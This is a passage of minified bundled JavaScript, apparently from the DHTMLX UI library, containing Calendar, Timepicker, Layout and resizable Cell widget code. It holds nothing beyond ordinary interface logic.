c.DateHelper.copy(e)}):this._selected.map(function(e){return d.getFormatedDate(t.config.dateFormat,e)}):e?c.DateHelper.copy(this._selected[0]):d.getFormatedDate(this.config.dateFormat,this._selected[0]):null},t.prototype.getCurrentMode=function(){return this._currentViewMode},t.prototype.showDate=function(e,t){e&&(this._currentDate=c.DateHelper.copy(e)),t&&(this._currentViewMode=t),this.paint()},t.prototype.destructor=function(){this._linkedCalendar&&this._unlink(),this._timepicker&&this._timepicker.destructor(),this.unmount()},t.prototype.link=function(e){var t=this;this._linkedCalendar&&this._unlink(),this._linkedCalendar=e;var n=this.getValue(!0),i=e.getValue(!0),r=n&&c.DateHelper.dayStart(n),o=i&&c.DateHelper.dayStart(i),a=function(e){if(c.DateHelper.isSameDay(o,r))return null;var t="dhx_calendar-day--in-range";return c.DateHelper.isSameDay(e,r)&&(t+=" dhx_calendar-day--first-date"),c.DateHelper.isSameDay(e,o)&&(t+=" dhx_calendar-day--last-date"),t};this.config.$rangeMark&&this._linkedCalendar.config.$rangeMark||(this.config.$rangeMark=this._linkedCalendar.config.$rangeMark=function(e){if(r&&o)return e>=r&&e<=o&&a(e)}),this.config.block&&this._linkedCalendar.config.block||(this.config.block=function(e){if(o)return e>o},this._linkedCalendar.config.block=function(e){if(r)return e<r}),this.config.thisMonthOnly=!0,e.config.thisMonthOnly=!0,this.events.on(p.CalendarEvents.change,function(e){r=c.DateHelper.dayStart(e),t._linkedCalendar.paint()},"link"),this._linkedCalendar.events.on(p.CalendarEvents.change,function(e){o=c.DateHelper.dayStart(e),t.paint()},"link"),this._linkedCalendar.paint(),this.paint()},t.prototype._unlink=function(){this._linkedCalendar&&(this.config.$rangeMark=this._linkedCalendar.config.$rangeMark=null,this.config.block=this._linkedCalendar.config.block=null,this.events.detach(p.CalendarEvents.change,"link"),this._linkedCalendar.events.detach(p.CalendarEvents.change,"link"),this._linkedCalendar.paint(),this.paint(),this._linkedCalendar=null)},t.prototype._setSelected=function(e){var t=this,n=e instanceof Array?e[0]:e,i=c.DateHelper.toDateObject(n,this.config.dateFormat);if(e instanceof Array&&this.config.range){var r=[];e.forEach(function(e,n){n<2&&r.push(c.DateHelper.toDateObject(e,t.config.dateFormat))}),2===r.length&&r[0]<r[1]?r.forEach(function(e){return t._selected.push(e)}):this._selected[0]=r[0]}else this._selected[0]=i},t.prototype._getSelected=function(){return this._selected[this._selected.length-1]},t.prototype._draw=function(){switch(this._currentViewMode){case p.ViewMode.calendar:return this.events.fire(p.CalendarEvents.modeChange,[p.ViewMode.calendar]),this._drawCalendar();case p.ViewMode.months:return this.events.fire(p.CalendarEvents.modeChange,[p.ViewMode.months]),this._drawMonthSelector();case p.ViewMode.years:return this.events.fire(p.CalendarEvents.modeChange,[p.ViewMode.years]),this._drawYearSelector();case p.ViewMode.timepicker:return this.events.fire(p.CalendarEvents.modeChange,[p.ViewMode.timepicker]),this._drawTimepicker()}},t.prototype._initHandlers=function(){var e=this;this._handlers={onclick:{".dhx_calendar-year, .dhx_calendar-month, .dhx_calendar-day":function(t,n){var i=n.attrs._date,r=c.DateHelper.copy(e._getSelected());switch(e._currentViewMode){case p.ViewMode.calendar:var o=e.config.timePicker?c.DateHelper.mergeHoursAndMinutes(i,e._getSelected()||e._currentDate):i;if(!e.events.fire(p.CalendarEvents.beforeChange,[o,r,!0]))return;e.config.range&&1===e._selected.length&&e._selected[0]<o?e._selected.push(o):(e._selected=[],e._selected[0]=o),e.showDate(e._getSelected()),e.events.fire(p.CalendarEvents.change,[i,r,!0]);break;case p.ViewMode.months:if(e.config.view!==p.ViewMode.months)c.DateHelper.setMonth(e._currentDate,i),e.showDate(null,p.ViewMode.calendar),e.events.fire(p.CalendarEvents.monthSelected,[i]);else{var a=c.DateHelper.fromYearAndMonth(e._currentDate.getFullYear()||e._getSelected().getFullYear(),i);if(!e.events.fire(p.CalendarEvents.beforeChange,[a,r,!0]))return;e._currentDate=a,e._selected[0]=a,e.events.fire(p.CalendarEvents.change,[e._getSelected(),r,!0]),e.events.fire(p.CalendarEvents.monthSelected,[i]),e.paint()}break;case p.ViewMode.years:if(e.config.view!==p.ViewMode.years)c.DateHelper.setYear(e._currentDate,i),e.showDate(null,p.ViewMode.months),e.events.fire(p.CalendarEvents.yearSelected,[i]);else{a=c.DateHelper.fromYear(i);if(!e.events.fire(p.CalendarEvents.beforeChange,[a,r,!0]))return;e._currentDate=a,e._selected[0]=a,e.events.fire(p.CalendarEvents.change,[e._getSelected(),r,!0]),e.events.fire(p.CalendarEvents.yearSelected,[i]),e.paint()}}},".dhx_calendar-action__cancel":function(){e.showDate(e._getSelected(),p.ViewMode.calendar),e.events.fire(p.CalendarEvents.cancelClick,[])},".dhx_calendar-action__show-month":function(){return e.showDate(null,p.ViewMode.months)},".dhx_calendar-action__show-year":function(){return e.showDate(null,p.ViewMode.years)},".dhx_calendar-action__next":function(){var t;switch(e._currentViewMode){case p.ViewMode.calendar:t=c.DateHelper.addMonth(e._currentDate,1);break;case p.ViewMode.months:t=c.DateHelper.addYear(e._currentDate,1);break;case p.ViewMode.years:t=c.DateHelper.addYear(e._currentDate,12)}e.showDate(t)},".dhx_calendar-action__prev":function(){var t;switch(e._currentViewMode){case p.ViewMode.calendar:t=c.DateHelper.addMonth(e._currentDate,-1);break;case p.ViewMode.months:t=c.DateHelper.addYear(e._currentDate,-1);break;case p.ViewMode.years:t=c.DateHelper.addYear(e._currentDate,-12)}e.showDate(t)},".dhx_calendar-action__show-timepicker":function(){e._currentViewMode=p.ViewMode.timepicker,e.paint()}},onmouseover:{".dhx_calendar-day":function(t,n){return e.events.fire(p.CalendarEvents.dateHover,[new Date(n.attrs._date),t])}}}},t.prototype._getData=function(e){for(var t=this,n="monday"===this.config.weekStart?1:0,i=[],r=6,o=c.DateHelper.weekStart(c.DateHelper.monthStart(e),n);r--;){for(var a=c.DateHelper.getWeekNumber(o),s=0,l=7,u=[],d=function(){var n=c.DateHelper.isWeekEnd(o),i=e.getMonth()===o.getMonth(),r=f.config.block&&f.config.block(o),a=[];if(f.config.range&&f._selected[0]&&f._selected[1]){var l=function(){if(t._selected[0]&&t._selected[1]){var e=c.DateHelper.dayStart(t._selected[0]),n=c.DateHelper.dayStart(t._selected[1]);return o>=e&&o<=n&&d()}},d=function(){return c.DateHelper.isSameDay(t._selected[0],t._selected[1])?null:"dhx_calendar-day--in-range"};f.config.$rangeMark=l}if(n&&i&&a.push("dhx_calendar-day--weekend"),i||(f.config.thisMonthOnly?(s++,a.push("dhx_calendar-day--hidden")):a.push("dhx_calendar-day--muffled")),f.config.mark){var h=f.config.mark(o);h&&a.push(h)}f.config.$rangeMark&&((l=f.config.$rangeMark(o))&&a.push(l));r&&(n?a.push("dhx_calendar-day--weekend-disabled"):a.push("dhx_calendar-day--disabled")),f._selected.forEach(function(e,n){if(e&&c.DateHelper.isSameDay(e,o)){var i="dhx_calendar-day--selected";t.config.range&&(i+=" dhx_calendar-day--selected-"+(0===n?"first ":"last")),a.push(i)}}),u.push({date:o,day:o.getDate(),css:a.join(" ")}),o=c.DateHelper.addDay(o)},f=this;l--;)d();i.push({weekNumber:a,days:u,disabledWeekNumber:7===s})}return i},t.prototype._drawCalendar=function(){for(var e,t=this._currentDate,n=this.config,i=n.weekStart,o=n.thisMonthOnly,s=n.css,l=n.timePicker,u=n.width,c=("monday"===i?h.default.daysShort.slice(1).concat([h.default.daysShort[0]]):h.default.daysShort).map(function(e){return a.el(".dhx_calendar-weekday",e)}),d=[],f=[],p=0,_=this._getData(t);p<_.length;p++){var v=_[p],g=v.days.map(function(e){return a.el("div.dhx_calendar-day",{class:e.css,_date:e.date,tabIndex:1},e.day)});!this.config.weekNumbers||v.disabledWeekNumber&&o||f.push(a.el("div",{class:"dhx_calendar-week-number"},v.weekNumber)),d=d.concat(g)}this.config.weekNumbers&&(e=a.el(".dhx_calendar__week-numbers",f));var m="dhx_calendar dhx_widget"+(s?" "+s:"")+(l?" dhx_calendar--with_timepicker":"")+(this.config.weekNumbers?" dhx_calendar--with_week-numbers":"");return a.el("div",r({class:m,style:{width:this.config.weekNumbers?"calc("+u+" + 48px )":u}},this._handlers),[a.el(".dhx_calendar__wrapper",[this._drawHeader(a.el("button.dhx_calendar-action__show-month.dhx_button.dhx_button--view_link.dhx_button--size_small.dhx_button--color_secondary.dhx_button--circle",h.default.months[t.getMonth()]+" "+t.getFullYear())),this.config.weekNumbers&&a.el(".dhx_calendar__dates-wrapper",[a.el(".dhx_calendar__weekdays",c),a.el(".dhx_calendar__days",d),e]),!this.config.weekNumbers&&a.el(".dhx_calendar__weekdays",c),!this.config.weekNumbers&&a.el(".dhx_calendar__days",d),l?a.el(".dhx_timepicker__actions",[a.el("button.dhx_calendar__timepicker-button.dhx_button.dhx_button--view_link.dhx_button--size_small.dhx_button--color_secondary.dhx_button--width_full.dhx_button--circle.dhx_calendar-action__show-timepicker",[a.el("span.dhx_button__icon.dxi.dxi-clock-outline"),a.el("span.dhx_button__text",this._time)])]):null])])},t.prototype._drawMonthSelector=function(){var e=this._currentDate,t=e.getMonth(),n=this._getSelected()?this._getSelected().getFullYear():null,i=this.config,o=i.css,s=i.timePicker,l=i.weekNumbers,u=i.width,c=i.view,d="dhx_calendar dhx_widget"+(o?" "+o:"")+(s?" dhx_calendar--with_timepicker":"")+(l?" dhx_calendar--with_week-numbers":"");return a.el("div",r({class:d,style:{width:l?"calc("+u+" + 48px)":u}},this._handlers),[a.el(".dhx_calendar__wrapper",[this._drawHeader(a.el("button.dhx_calendar-action__show-year.dhx_button.dhx_button--view_link.dhx_button--size_small.dhx_button--color_secondary.dhx_button--circle",e.getFullYear())),a.el(".dhx_calendar__months",h.default.monthsShort.map(function(i,r){return a.el("div",{class:"dhx_calendar-month"+(t===r&&n===e.getFullYear()?" dhx_calendar-month--selected":""),tabIndex:1,_date:r},i)})),c!==p.ViewMode.months?a.el(".dhx_calendar__actions",[a.el("button.dhx_button.dhx_button--color_primary.dhx_button--view_link.dhx_button--size_small.dhx_button--width_full.dhx_button--circle.dhx_calendar-action__cancel",h.default.cancel)]):null])])},t.prototype._drawYearSelector=function(){var e=this,t=this._currentDate,n=c.DateHelper.getTwelweYears(t),i=this.config,o=i.css,s=i.timePicker,l=i.weekNumbers,u=i.width,d=i.view,f="dhx_calendar dhx_widget"+(o?" "+o:"")+(s?" dhx_calendar--with_timepicker":"")+(l?" dhx_calendar--with_week-numbers":"");return a.el("div",r({class:f,style:{width:l?"calc("+u+" + 48px)":u}},this._handlers),[a.el(".dhx_calendar__wrapper",[this._drawHeader(a.el("button.dhx_button.dhx_button--view_link.dhx_button--size_small.dhx_button--color_secondary.dhx_button--circle",n[0]+"-"+n[n.length-1])),a.el(".dhx_calendar__years",n.map(function(t){return a.el("div",{class:"dhx_calendar-year"+(e._getSelected()&&t===e._getSelected().getFullYear()?" dhx_calendar-year--selected":""),_date:t,tabIndex:1},t)})),d!==p.ViewMode.years&&d!==p.ViewMode.months?a.el(".dhx_calendar__actions",[a.el("button.dhx_button.dhx_button--color_primary.dhx_button--view_link.dhx_button--size_small.dhx_button--width_full.dhx_button--circle.dhx_calendar-action__cancel",h.default.cancel)]):null])])},t.prototype._drawHeader=function(e){return a.el(".dhx_calendar__navigation",[a.el("button.dhx_calendar-navigation__button.dhx_calendar-action__prev"+f.linkButtonClasses+".dhx_button--icon.dhx_button--circle",[a.el(".dhx_button__icon.dxi.dxi-chevron-left")]),e,a.el("button.dhx_calendar-navigation__button.dhx_calendar-action__next"+f.linkButtonClasses+".dhx_button--icon.dhx_button--circle",[a.el(".dhx_button__icon.dxi.dxi-chevron-right")])])},t.prototype._drawTimepicker=function(){var e=this.config,t=e.css,n=e.weekNumbers,i=e.width;return a.el(".dhx_widget.dhx-calendar",{class:t?" "+t:"",style:{width:n?"calc("+i+" + 48px)":i}},[a.inject(this._timepicker.getRootView())])},t}(l.View);t.Calendar=_},function(e,t,n){"use strict";function i(e){for(var n in e)t.hasOwnProperty(n)||(t[n]=e[n])}Object.defineProperty(t,"__esModule",{value:!0}),i(n(32)),i(n(15))},function(e,t,n){"use strict";var i=this&&this.__extends||function(){var e=function(t,n){return(e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(t,n)};return function(t,n){function i(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),r=this&&this.__assign||function(){return(r=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});var o=n(0),a=n(2),s=n(3),l=n(4),u=n(33),c=n(37),d=n(40),f=n(41),h=n(15),p=function(e){function t(t,n){void 0===n&&(n={});var i=e.call(this,t,o.extend({timeFormat:24,actions:!1},n))||this;return i.events=new s.EventSystem(i),i._time={h:0,m:0,isAM:!0},12===i.config.timeFormat&&(i._time.h=12),i._initUI(t),i._initHandlers(),i._initEvents(),i}return i(t,e),t.prototype.getValue=function(e){var t=this._time,n=t.h,i=t.m,r=t.isAM;if(e){var o={hour:n,minute:i};return 12===this.config.timeFormat&&(o.AM=r),o}return(n<10?"0"+n:n)+":"+(i<10?"0"+i:i)+(12===this.config.timeFormat?r?"AM":"PM":"")},t.prototype.setValue=function(e){var t,n,i;if("number"==typeof e&&(e=new Date(e)),e instanceof Date)t=e.getMinutes(),n=e.getHours();else if(Array.isArray(e))n=_(e[0],23),t=_(e[1],59),e[2]&&"pm"===e[2].toLowerCase()&&(i=!0);else{var r=e.match(/\d+/g);n=_(+r[0],23),t=_(+r[1],59),-1!==e.toLowerCase().indexOf("pm")&&(i=!0)}i&&n<12&&(n+=12),this._hoursSlider.setValue(n),this._minutesSlider.setValue(t),f.isTimeCheck(e)&&(this._hoursSlider.setValue(0),this._minutesSlider.setValue(t),this._time.isAM=!0),this._inputsView.paint()},t.prototype.destructor=function(){this._minutesSlider.destructor(),this._hoursSlider.destructor(),this.events.clear(),this.unmount()},t.prototype.getRootView=function(){return this.layout.getRootView()},t.prototype._initUI=function(e){var t=this,n={gravity:!1,css:"dhx_widget dhx_timepicker "+(this.config.css?this.config.css:"")+(this.config.actions?" dhx_timepicker--with-actions":""),rows:[{id:"timepicker",css:"dhx_timepicker__inputs"},{id:"hour-slider",css:"dhx_timepicker__hour"},{id:"minute-slider",css:"dhx_timepicker__minute"}]};this.config.actions&&(n.rows.unshift({id:"close-action",css:"dhx_timepicker__close"}),n.rows.push({id:"save-action",css:"dhx_timepicker__save"}));var i=this.layout=new u.Layout(e,n),r=a.create({render:function(){return t._draw()}}),o=this._inputsView=l.toViewLike(r),s=this._minutesSlider=new c.Slider(null,{min:0,max:59,step:1,thumbLabel:!1,labelInline:!1,label:d.default.minutes}),f=this._hoursSlider=new c.Slider(null,{min:0,max:23,step:1,thumbLabel:!1,labelInline:!1,label:d.default.hours});if(i.getCell("timepicker").attach(o),i.getCell("hour-slider").attach(f),i.getCell("minute-slider").attach(s),this.config.actions){i.getCell("save-action").attach(function(){return a.el("button.dhx_timepicker__button-save.dhx_button.dhx_button--view_flat.dhx_button--color_primary.dhx_button--size_medium.dhx_button--circle.dhx_button--width_full",{onclick:t._outerHandlers.save},d.default.save)}),i.getCell("close-action").attach(function(){return a.el("button.dhx_timepicker__button-close.dhx_button.dhx_button--view_link.dhx_button--size_medium.dhx_button--view_link.dhx_button--color_secondary.dhx_button--icon.dhx_button--circle",{onclick:t._outerHandlers.close},[a.el("span.dhx_button__icon.dxi.dxi-close")])})}},t.prototype._initHandlers=function(){var e=this;this._handlers={onchange:{".dhx_timepicker-input--hour":function(t){var n=_(parseInt(t.target.value,10),23);t.target.value=n,e._hoursSlider.setValue(n)},".dhx_timepicker-input--minutes":function(t){var n=_(parseInt(t.target.value,10),59);t.target.value=n,e._minutesSlider.setValue(n)}}},this._outerHandlers={close:function(){return e.events.fire(h.TimepickerEvents.close)},save:function(){return e.events.fire(h.TimepickerEvents.save,[e._time])}}},t.prototype._initEvents=function(){var e=this;this._hoursSlider.events.on(c.SliderEvents.change,function(t){t<e._hoursSlider.config.min||t>e._hoursSlider.config.max||(12===e.config.timeFormat?(e._time.isAM=t<12,e._time.h=t%12||12):e._time.h=t,e.events.fire(h.TimepickerEvents.change,[e.getValue()]),e._inputsView.paint())}),this._minutesSlider.events.on(c.SliderEvents.change,function(t){t<e._minutesSlider.config.min||t>e._minutesSlider.config.max||(e._time.m=t,e.events.fire(h.TimepickerEvents.change,[e.getValue()]),e._inputsView.paint())})},t.prototype._draw=function(){return a.el(".dhx_timepicker-inputs",r({},this._handlers),[a.el("input.dhx_timepicker-input.dhx_timepicker-input--hour",{_key:"hour",value:this._time.h<10?"0"+this._time.h:this._time.h}),a.el("span.dhx_timepicker-delimer",":"),a.el("input.dhx_timepicker-input.dhx_timepicker-input--minutes",{_key:"minute",value:this._time.m<10?"0"+this._time.m:this._time.m}),12===this.config.timeFormat?a.el(".dhx_timepicker-ampm",this._time.isAM?"AM":"PM"):null])},t}(l.View);function _(e,t){return isNaN(e)?0:Math.min(t,Math.max(0,e))}t.Timepicker=p},function(e,t,n){"use strict";function i(e){for(var n in e)t.hasOwnProperty(n)||(t[n]=e[n])}Object.defineProperty(t,"__esModule",{value:!0}),i(n(34)),i(n(5))},function(e,t,n){"use strict";var i=this&&this.__extends||function(){var e=function(t,n){return(e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(t,n)};return function(t,n){function i(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}();Object.defineProperty(t,"__esModule",{value:!0});var r=n(35),o=n(5),a=n(2),s=function(e){function t(t,n){var i=e.call(this,t,n)||this;if(i._root=i.config.parent||i,i._all={},i._parseConfig(),i.config.views&&(i.config.activeView=i.config.activeView||i._cells[0].id,i._isViewLayout=!0),!n.parent){var r=a.create({render:function(){return i.toVDOM()}},i);i.mount(t,r)}return i}return i(t,e),t.prototype.toVDOM=function(){if(this._isViewLayout){var t=[this.getCell(this.config.activeView).toVDOM()];return e.prototype.toVDOM.call(this,t)}var n=[];return this._cells.forEach(function(e){var t=e.toVDOM();Array.isArray(t)?n=n.concat(t):n.push(t)}),e.prototype.toVDOM.call(this,n)},t.prototype.removeCell=function(e){if(this.events.fire(o.LayoutEvents.beforeRemove,[e])){var t=this.config.parent||this;if(t!==this)return t.removeCell(e);var n=this.getCell(e);if(n){var i=n.getParent();delete this._all[e],i._cells=i._cells.filter(function(t){return t.id!==e}),i.paint()}this.events.fire(o.LayoutEvents.afterRemove,[e])}},t.prototype.addCell=function(e,t){if(void 0===t&&(t=-1),this.events.fire(o.LayoutEvents.beforeAdd,[e.id])){var n=this._createCell(e);t<0&&(t=this._cells.length+t+1),this._cells.splice(t,0,n),this.paint(),this.events.fire(o.LayoutEvents.afterAdd,[e.id])}},t.prototype.getId=function(e){return e<0&&(e=this._cells.length+e),this._cells[e]?this._cells[e].id:void 0},t.prototype.getRefs=function(e){return this._root.getRootView().refs[e]},t.prototype.getCell=function(e){return this._root._all[e]},t.prototype.cell=function(e){return this.getCell(e)},t.prototype._getCss=function(t){var n=this._xLayout?"dhx_layout-columns":"dhx_layout-rows",i=this.config.align?" "+n+"--"+this.config.align:"";if(t)return n+" dhx_layout-cell"+(this.config.align?" dhx_layout-cell--"+this.config.align:"");var r=this.config.parent?e.prototype._getCss.call(this):"dhx_widget dhx_layout",o=this.config.parent?"":" dhx_layout-cell";return r+(this.config.full?o:" "+n)+i},t.prototype._parseConfig=function(){var e=this,t=this.config,n=t.rows||t.cols||t.views||[];this._xLayout=!t.rows,this._cells=n.map(function(t){return e._createCell(t)})},t.prototype._createCell=function(e){var n;return e.rows||e.cols||e.views?(e.parent=this._root,n=new t(this,e)):n=new r.Cell(this,e),this._root._all[n.id]=n,n},t}(r.Cell);t.Layout=s},function(e,t,n){"use strict";var i=this&&this.__extends||function(){var e=function(t,n){return(e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(t,n)};return function(t,n){function i(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}(),r=this&&this.__assign||function(){return(r=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});var o=n(0),a=n(2),s=n(4),l=n(5),u=n(36),c=n(3),d=function(e){function t(t,n){var i=e.call(this,t,o.extend({gravity:!0},n))||this,r=t;return r&&r.isVisible&&(i._parent=r),i._parent&&i._parent.events?i.events=i._parent.events:i.events=new c.EventSystem(i),i.config.full=void 0===i.config.full?Boolean(i.config.header||i.config.collapsable):i.config.full,i._initHandlers(),i.id=i.config.id||o.uid(),i}return i(t,e),t.prototype.paint=function(){if(this.isVisible()){var e=this.getRootView();e?e.redraw():this._parent.paint()}},t.prototype.isVisible=function(){if(!this._parent)return!(!this._container||!this._container.tagName)||Boolean(this.getRootNode());var e=this._parent.config.activeView;return(!e||e===this.id)&&(!this.config.hidden&&(!this._parent||this._parent.isVisible()))},t.prototype.hide=function(){this.events.fire(l.LayoutEvents.beforeHide,[this.id])&&(this.config.hidden=!0,this._parent&&this._parent.paint&&this._parent.paint(),this.events.fire(l.LayoutEvents.afterHide,[this.id]))},t.prototype.show=function(){this.events.fire(l.LayoutEvents.beforeShow,[this.id])&&(this._parent&&this._parent.config.activeView?this._parent.config.activeView=this.id:this.config.hidden=!1,this._parent&&!this._parent.isVisible()&&this._parent.show(),this.paint(),this.events.fire(l.LayoutEvents.afterHide,[this.id]))},t.prototype.getParent=function(){return this._parent},t.prototype.destructor=function(){this.config=null,this.unmount()},t.prototype.getWidget=function(){return this._ui},t.prototype.getCellView=function(){return this._parent&&this._parent.getRefs(this._uid)},t.prototype.attach=function(e,t){return this.config.html=null,"object"==typeof e?this._ui=e:"string"==typeof e?this._ui=new window.dhx[e](null,t):"function"==typeof e&&(e.prototype instanceof s.View?this._ui=new e(null,t):this._ui={getRootView:function(){return e(t)}}),this.paint(),this._ui},t.prototype.attachHTML=function(e){this.config.html=e,this.paint()},t.prototype.toVDOM=function(e){var t;if(null===this.config&&(this.config={}),!this.config.hidden){var n,i=this._calculateStyle(),s=o.isDefined(this.config.padding)?{padding:this.config.padding}:{};if(!this.config.html)if(this._ui){var l=this._ui.getRootView();l.render&&(l=a.inject(l)),n=[l]}else n=e||null;var u=!this.config.resizable||this._isLastCell()||this.config.collapsed?null:a.el(".dhx_layout-resizer."+(this._isXDirection()?"dhx_layout-resizer--x":"dhx_layout-resizer--y"),r({},this._resizerHandlers,{_ref:"resizer_"+this._uid}),[a.el("span.dhx_layout-resizer__icon",{class:"dxi "+(this._isXDirection()?"dxi-dots-vertical":"dxi-dots-horizontal")})]),c={};if(this.config.on)for(var d in this.config.on)c["on"+d]=this.config.on[d];var f=a.el("div",r(((t={_key:this._uid,style:this.config.full||this.config.html?i:r({},i,s),_ref:this._uid})["aria-labelledby"]=this.config.id?"tab-content-"+this.config.id:null,t),c,{class:this._getCss(!1)+(this.config.css?" "+this.config.css:"")+(this.config.collapsed?" dhx_layout-cell--collapsed":"")+(this.config.resizable?" dhx_layout-cell--resizeble":"")+(this.config.gravity?" dhx_layout-cell--gravity":"")}),this.config.full?[a.el("div",{tabindex:this.config.collapsable?"0":"-1",class:"dhx_layout-cell-header"+(this._isXDirection()?" dhx_layout-cell-header--col":" dhx_layout-cell-header--row")+(this.config.collapsable?" dhx_layout-cell-header--collapseble":"")+(this.config.collapsed?" dhx_layout-cell-header--collapsed":"")+(((this.getParent()||{}).config||{}).isAccordion?" dhx_layout-cell-header--accordion":""),onclick:this._handlers.collapse,onkeydown:this._handlers.enterCollapse},[this.config.headerIcon&&a.el("span.dhx_layout-cell-header__icon"+this.config.headerIcon),this.config.headerImage&&a.el(".dhx_layout-cell-header__image-wrapper",[a.el("img",{src:this.config.headerImage,class:"dhx_layout-cell-header__image"})]),this.config.header&&a.el("h3.dhx_layout-cell-header__title",this.config.header),this.config.collapsable&&a.el("div.dhx_layout-cell-header__collapse-icon",{class:this._getCollapseIcon()})]),this.config.collapsed?null:a.el("div",{style:s,".innerHTML":this.config.html,class:this._getCss(!0)+" dhx_layout-cell-content"},n)]:this.config.html?[a.el(".dhx_layout-cell-content",{".innerHTML":this.config.html,style:s})]:n);return u?[f,u]:f}},t.prototype._getCss=function(e){return"dhx_layout-cell"},t.prototype._initHandlers=function(){var e=this;this._handlers={enterCollapse:function(t){13===t.keyCode&&e._handlers.collapse()},collapse:function(){e.config.collapsable&&e.events.fire(l.LayoutEvents.beforeCollapse,[e.id])&&(e.config.collapsed=!e.config.collapsed,e.paint(),e.events.fire(l.LayoutEvents.afterCollapse,[e.id]))}};var t={left:null,top:null,isActive:!1,range:null,xLayout:null,nextCell:null,size:null,resizerLength:null,mode:null,percentsum:null},n=function(){t.isActive=!1,document.body.classList.remove("dhx_no-select--resize"),document.removeEventListener("mouseup",n),document.removeEventListener("mousemove",i),e.events.fire(l.LayoutEvents.afterResizeEnd,[e.id])},i=function(n){if(t.isActive&&t.mode!==l.resizeMode.unknown){var i=t.xLayout?n.x-t.range.min+window.pageXOffset:n.y-t.range.min+window.pageYOffset,r=t.xLayout?"width":"height";switch(i<0?i=t.resizerLength/2:i>t.size&&(i=t.size-t.resizerLength),t.mode){case l.resizeMode.pixels:e.config[r]=i-t.resizerLength/2+"px",t.nextCell.config[r]=t.size-i-t.resizerLength/2+"px";break;case l.resizeMode.mixedpx1:e.config[r]=i-t.resizerLength/2+"px";break;case l.resizeMode.mixedpx2:t.nextCell.config[r]=t.size-i-t.resizerLength/2+"px";break;case l.resizeMode.percents:e.config[r]=i/t.size*t.percentsum+"%",t.nextCell.config[r]=(t.size-i)/t.size*t.percentsum+"%";break;case l.resizeMode.mixedperc1:e.config[r]=i/t.size*t.percentsum+"%";break;case l.resizeMode.mixedperc2:t.nextCell.config[r]=(t.size-i)/t.size*t.percentsum+"%"}e.paint(),e.events.fire(l.LayoutEvents.resize,[e.id])}};this._resizerHandlers={onmousedown:function(r){if(3!==r.which&&(t.isActive&&n(),e.events.fire(l.LayoutEvents.beforeResizeStart,[e.id]))){document.body.classList.add("dhx_no-select--resize");var o=e.getCellView(),a=e._getNextCell(),s=a.getCellView(),c=e._getResizerView(),d=o.el.getBoundingClientRect(),f=c.el.getBoundingClientRect(),h=s.el.getBoundingClientRect();if(t.xLayout=e._isXDirection(),t.left=d.left+window.pageXOffset,t.top=d.top+window.pageYOffset,t.range=u.getBlockRange(d,h,t.xLayout),t.size=t.range.max-t.range.min,t.isActive=!0,t.nextCell=a,t.resizerLength=t.xLayout?f.width:f.height,t.mode=u.getResizeMode(t.xLayout,e.config,a.config),t.mode===l.resizeMode.percents){var p=t.xLayout?"width":"height";t.percentsum=parseFloat(e.config[p])+parseFloat(a.config[p])}if(t.mode===l.resizeMode.mixedperc1){p=t.xLayout?"width":"height";t.percentsum=1/(d[p]/(t.size-t.resizerLength))*parseFloat(e.config[p])}if(t.mode===l.resizeMode.mixedperc2){p=t.xLayout?"width":"height";t.percentsum=1/(h[p]/(t.size-t.resizerLength))*parseFloat(a.config[p])}document.addEventListener("mouseup",n),document.addEventListener("mousemove",i)}},ondragstart:function(e){return e.preventDefault()}}},t.prototype._getCollapseIcon=function(){return this._isXDirection()&&this.config.collapsed?"dxi dxi-chevron-right":this._isXDirection()&&!this.config.collapsed?"dxi dxi-chevron-left":!this._isXDirection()&&this.config.collapsed?"dxi dxi-chevron-up":this._isXDirection()||this.config.collapsed?void 0:"dxi dxi-chevron-down"},t.prototype._isLastCell=function(){var e=this._parent;return e&&e._cells.indexOf(this)===e._cells.length-1},t.prototype._getNextCell=function(){var e=this._parent,t=e._cells.indexOf(this);return e._cells[t+1]},t.prototype._getResizerView=function(){return this._parent.getRefs("resizer_"+this._uid)},t.prototype._isXDirection=function(){return this._parent&&this._parent._xLayout},t.prototype._calculateStyle=function(){var e=this.config;if(e){var t={};return this._isXDirection()?(void 0===e.width||e.collapsed||(t.flexBasis=e.width,t.width=e.width),void 0!==e.height&&(t.height=e.height)):(void 0===e.height||e.collapsed||(t.height=e.height),void 0!==e.width&&(t.width=e.width)),t}},t}(s.View);t.Cell=d},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var i=n(5);t.getResizeMode=function(e,t,n){var r=e?"width":"height",o=t[r]&&-1!==t[r].indexOf("%"),a=n[r]&&-1!==n[r].indexOf("%"),s=t[r]&&-1!==t[r].indexOf("px"),l=n[r]&&-1!==n[r].indexOf("px");return o&&a?i.resizeMode.percents:s&&l?i.resizeMode.pixels:s&&!l?i.resizeMode.mixedpx1:l&&!s?i.resizeMode.mixedpx2:o?i.resizeMode.mixedperc1:a?i.resizeMode.mixedperc2:i.resizeMode.unknown},t.getBlockRange=function(e,t,n){return void 0===n&&(n=!0),n?{min:e.left+window.pageXOffset,max:t.right+window.pageXOffset}:{min:e.top+window.pageYOffset,max:t.bottom+window.pageYOffset}}},function(e,t,n){"use strict";function i(e){for(var n in e)t.hasOwnProperty(n)||(t[n]=e[n])}Object.defineProperty(t,"__esModule",{value:!0}),i(n(38)),i(n(14))},function(e,t,n){"use strict";var i=this&&this.__extends||function(){var 